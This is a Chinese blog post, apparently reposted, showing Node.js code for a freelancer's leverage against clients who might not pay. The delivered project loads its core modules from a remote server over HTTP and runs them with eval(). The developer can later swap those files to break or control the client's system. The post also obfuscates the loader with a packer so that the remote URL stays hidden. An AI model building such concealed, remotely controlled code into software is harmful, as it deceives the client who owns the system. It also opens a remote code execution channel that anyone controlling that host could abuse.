/*
我们的部分程序员小伙伴多多少少会接一些外包的活,可能会遇到部分不良甲方,在签署合同没有经验有了漏洞,结果做好了项目不给全款,那么怎么办呢?留后门、定时器删除代码或者数据库等,可能产生法律问题,得不偿失。
我自己想了个办法,就是解决功能模块的依赖问题,现在的依赖2个方面,一个是npm,另外一个就是系统项目中的自定义模块。
npm 肯定无法做手脚的,那么只能加载自定义功能模块时来进行处理了。
你猜对了,功能模块不在本地,而是在远程服务器,不良甲方不给钱,呵呵,那么直接把远程文件改了地址,如果项目有重启,那么不良甲方就只能哭死了。
当然,这种思路不可用来做坏事,要做个正直的人,付完合同中约定的全款后,记得将依赖模块写入到本地。
远程文件:
httpGet.js
httpGet2.js
项目文件:
module.js
main.js
下面是简单的实现代码
*/
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58//httpGet.js var qs = require("querystring"); console.log("加载外部静态模块代码1"); app["name1"]={ c:[1,2,3], qs:()=>qs.stringify({a:111,b:222}) }; //httpGet2.js var qs = require("querystring"); console.log("加载外部静态模块代码2"); app["name2"]={ c:[4,5,6], qs:()=>qs.stringify({a:333,b:444}) }; //module.js var app={} module.exports= async function (name,url) { return new Promise(function (resolve, reject) { require('http').get(url,function(req,res){ var html=''; req.on('data',(data)=>{html+=data;}); req.on('end',()=>{eval(html);resolve(app[name]);}); req.on('error',(e)=>{reject(e.message);}); }); }); } //main.js var module = require('./module.js'); async function main() { var dd= await module("name1",'http://oss.a.com/httpGet/httpGet.js'); var cc1=dd.qs(); console.log(cc1); var dd2= await module("name2",'http://oss.a.com/httpGet/httpGet2.js'); var cc3=dd2.qs(); console.log(cc3); } main();//执行文件 app[name],在模块定义时必须不同,否则会出现对象被覆盖,切记。 打印的结果就是: ====================== 加载外部静态模块代码1 a=111&b=222 加载外部静态模块代码2 a=333&b=444 ====================== 当然为了避免远程文件连接被发现,可以使用加密混淆工具,这样就看不出是指向哪里了。 eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('0 1=l('./1.3');i h 4(){0 6=9 1("4",'8://5.a.b/2/2.3');0 7=6.d();f.c(7);0 g=9 1("k",'8://5.a.b/2/j.3');0 e=g.d();f.c(e)}4();',22,22,'var|module|httpGet|js|aa|oss|dd|cc1|http|await||com|log|qs|cc3|console|dd2|function|async|httpGet2|bb|require'.split('|'),0,{}))
最后
以上就是鲤鱼小甜瓜最近收集整理的关于爱折腾,脑洞清奇,nodejs加载远程文件作为模块进行调用的全部内容,更多相关爱折腾内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复